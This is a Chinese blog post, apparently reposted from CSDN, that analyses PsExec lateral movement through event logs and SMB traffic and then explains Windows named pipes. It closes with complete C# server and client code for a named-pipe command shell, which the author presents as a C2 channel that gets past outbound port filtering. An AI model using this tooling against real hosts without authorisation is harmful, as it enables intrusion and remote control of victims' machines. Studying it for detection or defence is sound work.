由psexec远控的实现原理到windows命名管道

psexec部分

psexec一般会被用来做横移,只要我们拥有对方主机的账号密码就可以做到远程控制对方主机,我们首先看看但我们执行psexec这个程序的时候,到底发生了什么。

已有资产

用户 ip 主机名
zhangsan 192.168.23.23 red
lisi 192.168.23.99 blue

这个实验实现的是从zhangsan的主机执行psexec使用lisi的账号连接lisi的主机

从被连接主机(lisi)的事件来看psexec到底做了什么

这个是事件组的开头,我们可以看到有两个logon类型的日志
在这里插入图片描述

点开第一个日志可以发现是我们从zhangsan主机对lisi的电脑的一个登陆请求,且登陆成功,且认证方式为ntlm
在这里插入图片描述
在这里插入图片描述

打开第二个时间会发现,是申请在lisi主机上登陆zhangsan的账号,显示失败。
在这里插入图片描述
这四个日志内容是记录了zhangsan的主机向lisi的主机写psexsvc.exe这个文件到lisi主机的c:\windows\目录下:
在这里插入图片描述
在这里插入图片描述

紧接着使用ipc通道并调用svcctl这个服务,这个服务能使我们开启指定的远程服务
在这里插入图片描述

紧接着就是一大堆的文件操作,因为安装了360我发现这几乎都是360在搞事情
在这里插入图片描述
上图中最后有四个detailed file share。分别是
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这个相当于建立了四个管道,一个用于服务本身,另外的管道用于重定向进程的 stdin、stdout、stderr。用pipelist工具查询管道列表也应征了我们的推断:
在这里插入图片描述
再接下来就是psexesvc来显式的登陆lisi的账号了,以下两个事件一个表示试图登陆,第二个表示登陆成功:
在这里插入图片描述

在这里插入图片描述
到这里就全部结束了,我们会使用创建出来的命名管道来进行通信远程控制对方电脑。我的理解最后一步创建命名管道很像linux上的反弹shell,具体原理可以参照我的这篇文章:linux反弹shell原理

上述实现描述了psexec所做的事情:
1.登陆远程主机
2.连接admin$共享
3.写入psexesvc.exe文件到共享目录下也就是c:\windows下
4.利用ipc命名管道调用svcctl服务
5.利用svcctl服务开启psexesvc服务
6.生成4个命名管道以供使用

从攻击机的流量上来看psexec命令背后做了什么

在这里插入图片描述
上图中描述的已经足够清楚,刚开始做了三件事,tcp3次握手连接目标445端口,协商使用何种smb协议,然后进行ntlm认证。
在这里插入图片描述
接下来首先尝试连接IPC$管道,然后再尝试连接admin$,如上图所示。

在这里插入图片描述
接下来就会出现上图所示的数据包,上图表示将向目标的admin$共享目录下写入psexec.exe文件。

在这里插入图片描述
紧接着就是写入文件了,可以看到后续的tcp数据包的内容,里面含有4d5a的数据这个是pe文件的mz头如上图所示。

在这里插入图片描述
到这一步就已经代表完全写完了psexesvc这个文件,如上图所示。

接着调用svcctl并开启psexec服务
在这里插入图片描述
可以看到下列数据包就是svcctl协议了,
在这里插入图片描述
查看info为openservicew request的数据包发现,他就是在打开psexesvc服务。
在这里插入图片描述
可以看到系统关闭了svcctl服务的请求,并去请求psexesvc服务并创建第一个psexecsvc命名管道
在这里插入图片描述

下面就会创建剩余三个命名管道命名管道
在这里插入图片描述
到此结束了。
整体流程跟从被连接主机的事件看到的流程基本一致。基本都是ntlm认证、连接共享目录admin$、写文件psexesvc到共享目录、调用svcctl服务来间接调用psexesvc服务、创建四个命名管道。


我们发现了psexec最终会建立命名管道,那到底什么是命名管道呢?为什么要用命名管道?而且ipc$连接的原理其实也与命名管道有关,因此接下来我们就谈谈命名管道的那些事。


命名管道

我理解的命名管道

首先我们需要明确的一点,命名管道基于smb协议通信,smb,smb,不是tcp。重要的事情说三遍。它是用来让两个进程间进行通信的,这两个进程可以是本地进程,也可以是远程进程。命名管道有点类似于socket连接,是用来传输数据的,可以设置具体的权限让指定权限的进程才能连接命名管道,理论上每个程序都能连接命名管道,只是连接之后能做的事情不同,具体能做什么事跟服务端的配置有关系。
下面总结几点:
1.命名管道是C/S架构,必须让服务端某个进程先创建命名管道。
2.命名管道可以背任何符合权限的进程去访问,且何种权限可以访问是可以自定义的。
3.客户端可以是本地的某个进程或者远程的某个进程,本地进程访问命名管道方式为\.\pipe\pipename,远程进程访问命名管道方法为\ip\pipe\pipename。

利用

可以写一个服务端,把接收到的数据当作命令去执行,然后将结果返回给客户端,这个就像是linux中的管道了但是windows中的管道要复杂的多。
当系统限制了其他tcp端口出站的时候,可以使用命名管道这种技术创建一个c2服务器,因为其走的是smb协议445端口,这个端口一般都是默认放行的不会被禁止。最终就可以实现反弹shell。实现效果如下:
在这里插入图片描述

具体代码实现

代码地址:https://github.com/malcomvetter/NamedPipes

服务端代码

using System;
using System.Diagnostics;
using System.IO;
using System.IO.Pipes;
using System.Text;
//上述全部是命名空间,类似于python中的import

namespace Server //命名空间声明
{
    
    
    class Server
    {
    
    
        static void Main(string[] args) //程序入口点
        {
    
    
        /**当不确定变量是什么类型的时候,用var。NamedPipeServerStream这个类是
        System.IO.Pipes命名空间下的。用using的方式使用它就相当于python中的with
        打开文件一样,在一定程度上防止忘记释放某些资源,也可以不使用using。
		**/


            using (var pipe = new NamedPipeServerStream(
                "psexecsvc",
                PipeDirection.InOut,
                NamedPipeServerStream.MaxAllowedServerInstances,
                PipeTransmissionMode.Message))
				/**设置管道名为psexecsvc,管道通信方式为双向通信,双方都可以发送信息
				也都可以接收信息,最大连接数为默认最大连接数,最后一个参数代表的是采
				用信息流的方式来传递数据,而不是字节流,切记一定要用信息流,因为但凡
				使用字节流,那么发送过的信息对方不一定能够全部接收到,而信息流可以保
				证发送的数据可以全部接收到。
				**/
            {
    
    
                Console.WriteLine("[*] Waiting for client connection...");
                pipe.WaitForConnection();//等待管道的另一端发来的连接
                Console.WriteLine("[*] Client connected.");
                while (true)
                {
    
    
                	/**
                	将从命名管道中接收到的字节类型的数组传递给messageBytes,这个字
                	节数组就是客户端发送过来的数据的二进制形式。
                	**/
                    var messageBytes = ReadMessage(pipe);
                    //将字节类型的数组进行UTF-8解码生成的字符串存储到line中
                    var line = Encoding.UTF8.GetString(messageBytes);
                    Console.WriteLine("[*] Received: {0}", line);
                   	//将接收到的字符串转为消协,如果内容是exit,则退出程序。
                    if (line.ToLower() == "exit") return;
					
					/**
					创建一个ProcessStartInfo类,这个类用来指定某个进程的相关属性。
					**/
                    var processStartInfo = new ProcessStartInfo
                    {
    
    
                    	//启动cmd
                        FileName = "cmd.exe",
                        //参数为 /c + line,line为从命名管道中接收到到数据
                        Arguments = "/c " + line,
                        //从定西那个标准输出
                        RedirectStandardOutput = true,
                        //重定向标准错误输出
                        RedirectStandardError = true,
                        //通过将此属性设置false可以重定向标准输入、输出和错误流。
                        UseShellExecute = false
                    };
                    try
                    {
    
    
                    	/**
                    	启动前面定义了信息的进程,如果出错则跳转到catch块。返回的是
                    	一个process类,我的理解是这个process类是一个程序句柄,可以
                    	让你对程序进行指定的操作,如开启结束等。
                    	**/
                        var process = Process.Start(processStartInfo);
                        
                        /**
						读取进程的所有的标准输出,并将标准错误输出与标准输出合成为一
						个字符串。
						**/
                        var output = process.StandardOutput.ReadToEnd();
                        output += process.StandardError.ReadToEnd();
                        //等待线程运行结束,可以理解成等待上面的这个命令运行结束
                        process.WaitForExit();
                        //如果output等于空或者null,则给其赋值为换行符。
                        if (string.IsNullOrEmpty(output))
                        {
    
    
                            output = "\n";
                        }
                        //将输出用UTF编码为一个byte数组。
                        var response = Encoding.UTF8.GetBytes(output);
                        //将这个byte数组的全部数据写到命名管道中管道中。
                        pipe.Write(response, 0, response.Length);
                    }
                    catch (Exception ex)
                    {
    
    
                    	/**如果try块中的某行代码运行出错则捕捉错误,这个错误是
                    	string类型表示的,将这个错误转换为byte数组并输出到命名管道
                    	中。
                    	**/
                        Console.WriteLine(ex);
                        var response = Encoding.UTF8.GetBytes(ex.Message);
                        pipe.Write(response, 0, response.Length);
                    }
                }
            }
        }

        private static byte[] ReadMessage(PipeStream pipe)
        {
    
    
            byte[] buffer = new byte[1024];//创建一个可以存1024个byte数据的数组
            //创建一个内存流的类用来进行数据的传递
            using (var ms = new MemoryStream())
            {
    
    
                do
                {
    
    
            		/**从命名管道中读取数据,从0开始读取字节块,最多读取
            		buffer.Length也就是1024个,然后将读出来的字节的数量返回给
            		redBytes,将读到的数据写到buffer中。
            		**/
                    var readBytes = pipe.Read(buffer, 0, buffer.Length);
                    /**
                    从buffer这个缓冲区中从0字节开始读取数据,读到redBytes字节,然
                    后将这些数据写到当前的内存流中。
                    **/
                    ms.Write(buffer, 0, readBytes);
                }
                //如果命名管道中的信息没有读取完则会一直执行读取操作。
                while (!pipe.IsMessageComplete);

                return ms.ToArray();
                /**
                将内存流中的数据写到数组中,返回一个Byte类
                型的数组。
                **/
            }
        }
    }
}

整个服务端代码运行逻辑为:
1.创建命名管道,设置传输方式为message类型与双向传递inout,并将标准输出与错误输出重定向
2.等待客户端连接
3.连接成功后从命名管道中读取客户端传输过来的字节数组类型的数据,将数据存储在创建的内存流中。
4.将字节数组类型的数据转换为string类型,这个数据其实就是客户端传送过来的命令
5.配置进程的相关信息,如参数等
6.利用函数启动进程执行命令
7.对命令执行结果进行格式处理并输出结果到命名管道中
8.回到第三条

客户端代码

using System;
using System.IO;
using System.IO.Pipes;
using System.Text;

namespace Client
{
    
    
    class Client
    {
    
    
        static void Main(string[] args)
        {
    
    
        	//连接本地计算机上的命名管道,双向传输数据的模式,管道名为psexecsvc
            using (var pipe = new NamedPipeClientStream("localhost", 		
            "psexecsvc", PipeDirection.InOut))
            {
    
    
            	//连接到命名管道,超市时间为5000毫秒
                pipe.Connect(5000);
                //设置数据的读取方式为message
                pipe.ReadMode = PipeTransmissionMode.Message;
                do
                {
    
    
                    Console.Write("csexec> ");
                    //从命令行接收数据
                    var input = Console.ReadLine();
                    //如果接收到的数据为空或者null,则跳出本次循环
                    if (String.IsNullOrEmpty(input)) continue;
                    //将输出的字符串转换为byte数组类型并存储
                    byte[] bytes = Encoding.Default.GetBytes(input);
                    //将转换格式后的数据写到命名管道中
                    pipe.Write(bytes, 0, bytes.Length);
                    //将输出的自负全部改成小写然后判断是否等于exit如果是则退出程序
                    if (input.ToLower() == "exit") return;
                    //从命名管道中读取数据
                    var result = ReadMessage(pipe);
                    //输出数据
                    Console.WriteLine(Encoding.UTF8.GetString(result));
                    Console.WriteLine();
                } while (true);
            }
        }

        private static byte[] ReadMessage(PipeStream pipe)
        {
    
    
            byte[] buffer = new byte[1024];
            using (var ms = new MemoryStream())
            {
    
    
                do
                {
    
    
                    var readBytes = pipe.Read(buffer, 0, buffer.Length);
                    ms.Write(buffer, 0, readBytes);
                }
                while (!pipe.IsMessageComplete);

                return ms.ToArray();
            }
        }
    }
}

猜你喜欢

转载自blog.csdn.net/qq_41874930/article/details/108455478